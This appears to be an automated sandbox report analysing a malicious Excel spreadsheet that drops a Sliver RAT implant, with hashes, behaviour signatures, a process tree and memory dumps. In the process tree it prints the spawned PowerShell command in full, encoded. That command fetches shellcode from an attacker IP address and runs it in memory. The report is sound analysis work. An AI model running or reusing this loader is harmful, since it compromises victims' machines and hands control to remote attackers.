Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-11-2024 21:44

General

  • Target

    1744153442574b3f301c5d8bcd802c22852ac87a80a9f315e7e4e50e5ecdd62b.xls

  • Size

    46KB

  • MD5

    9d4d6a868e20ae3090b0a97ebe51b5ce

  • SHA1

    a40170979f8e1dff1b0a20001242bd024071fe4c

  • SHA256

    1744153442574b3f301c5d8bcd802c22852ac87a80a9f315e7e4e50e5ecdd62b

  • SHA512

    e9aac651935d38486fc6881d877552ed30de12bdbcde9201ae2cd6dbad1eb17b6c49e6c7300522606b3d3cfd2073e80e5a80c19d6360c05e13dcba59b4be29a7

  • SSDEEP

    768:34SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:ISFsv66g3KnF439NKC54kkGfn+cL2Xd+

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Sliver RAT v2 6 IoCs
  • Sliver family
  • SliverRAT

    SliverRAT is an open source Adversary Emulation Framework.

  • Blocklisted process makes network request 64 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1744153442574b3f301c5d8bcd802c22852ac87a80a9f315e7e4e50e5ecdd62b.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1392
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gpu5lrdn\gpu5lrdn.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4872
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6590.tmp" "c:\Users\Admin\AppData\Local\Temp\gpu5lrdn\CSCC14A741FB0A34AB68F6F7ABD8FE589A5.TMP"
          4⤵
            PID:1676

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RES6590.tmp

      Filesize

      1KB

      MD5

      494d1acd6abfafc66792f5e620650eb8

      SHA1

      f8785660b072b91514ba5125428edbd3f48541d2

      SHA256

      3f608c492f0a35791c6a56c157144693e0e06586451f43d4b136c81b172186ca

      SHA512

      b7ef326967a99c0d9e9f8d95c038898b4040cf8e4db70b6161dff5d6f7b0265e7ded74571f03391c513855c16c071e92f4d1973e445c87dc638c028eaa9412de

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5y1uafs.5jd.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\gpu5lrdn\gpu5lrdn.dll

      Filesize

      3KB

      MD5

      d284f184b933aea97028ef51bd305328

      SHA1

      49b50195c2e37b14e3972ee20d433922ba157800

      SHA256

      9ddcc6106dcb6032320965c3d2052df9842bec909f9ccba4bbc0931bdeff7acd

      SHA512

      17d5d007983e2c56c874b0f934863569ea6af6c9847a94225a84895330c4263c899465e2bdfdfe929fbbed781883a565f95a88490fdd521b0d0d7149433a5ebb

    • \??\c:\Users\Admin\AppData\Local\Temp\gpu5lrdn\CSCC14A741FB0A34AB68F6F7ABD8FE589A5.TMP

      Filesize

      652B

      MD5

      3338efe0078703733de2f1499416617f

      SHA1

      7ec04e088fd0212f5b19d0d7408023f519e9317a

      SHA256

      73ccae6e368e3dd2b2bb15bafd744b50788a788aff2feb9367895a030e9358c8

      SHA512

      0af44bfb396af3ffa0eaa96c0cbf0cd7bdaca38c9a693f98399fb8b1a20192a96a2717eacf89c6e4dea88b99a2ae586d22f3d4a0424a070844cf023cf790c29e

    • \??\c:\Users\Admin\AppData\Local\Temp\gpu5lrdn\gpu5lrdn.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\gpu5lrdn\gpu5lrdn.cmdline

      Filesize

      369B

      MD5

      bf7a23ae380a2989227f1cd81551a9df

      SHA1

      58b035db61fc9332cc418366ea92be6e449b18a8

      SHA256

      c804df039626b6a55072c7e5d696465beb5a9a7c9450f864e1921c984598800e

      SHA512

      c73f822a2c78a870191f34ccab869423e98e8b65bb74645728a083aa217930d8a30c46261203225e222c871fdb76789c27ecfcf81d8fd4f42f2312b9f22b7cdb

    • memory/1392-61-0x00000288EAEC0000-0x00000288EB9A6000-memory.dmp

      Filesize

      10.9MB

    • memory/1392-56-0x00000288E91D0000-0x00000288E91D8000-memory.dmp

      Filesize

      32KB

    • memory/1392-60-0x00000288E99C0000-0x00000288EA43E000-memory.dmp

      Filesize

      10.5MB

    • memory/1392-62-0x00000288EAEC0000-0x00000288EB9A6000-memory.dmp

      Filesize

      10.9MB

    • memory/1392-63-0x00000288EAEC0000-0x00000288EB9A6000-memory.dmp

      Filesize

      10.9MB

    • memory/1392-31-0x00000288E8F80000-0x00000288E8FA2000-memory.dmp

      Filesize

      136KB

    • memory/1392-64-0x00000288EAEC0000-0x00000288EB9A6000-memory.dmp

      Filesize

      10.9MB

    • memory/1392-74-0x00000288EAEC0000-0x00000288EB9A6000-memory.dmp

      Filesize

      10.9MB

    • memory/4856-12-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-14-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-7-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

      Filesize

      64KB

    • memory/4856-20-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-21-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-9-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-16-0x00007FFACA700000-0x00007FFACA710000-memory.dmp

      Filesize

      64KB

    • memory/4856-10-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-13-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-15-0x00007FFACA700000-0x00007FFACA710000-memory.dmp

      Filesize

      64KB

    • memory/4856-1-0x00007FFB0CA0D000-0x00007FFB0CA0E000-memory.dmp

      Filesize

      4KB

    • memory/4856-8-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-11-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-5-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-6-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-2-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

      Filesize

      64KB

    • memory/4856-3-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

      Filesize

      64KB

    • memory/4856-4-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

      Filesize

      64KB

    • memory/4856-65-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-66-0x00007FFB0CA0D000-0x00007FFB0CA0E000-memory.dmp

      Filesize

      4KB

    • memory/4856-67-0x00007FFB0C970000-0x00007FFB0CB65000-memory.dmp

      Filesize

      2.0MB

    • memory/4856-0-0x00007FFACC9F0000-0x00007FFACCA00000-memory.dmp

      Filesize

      64KB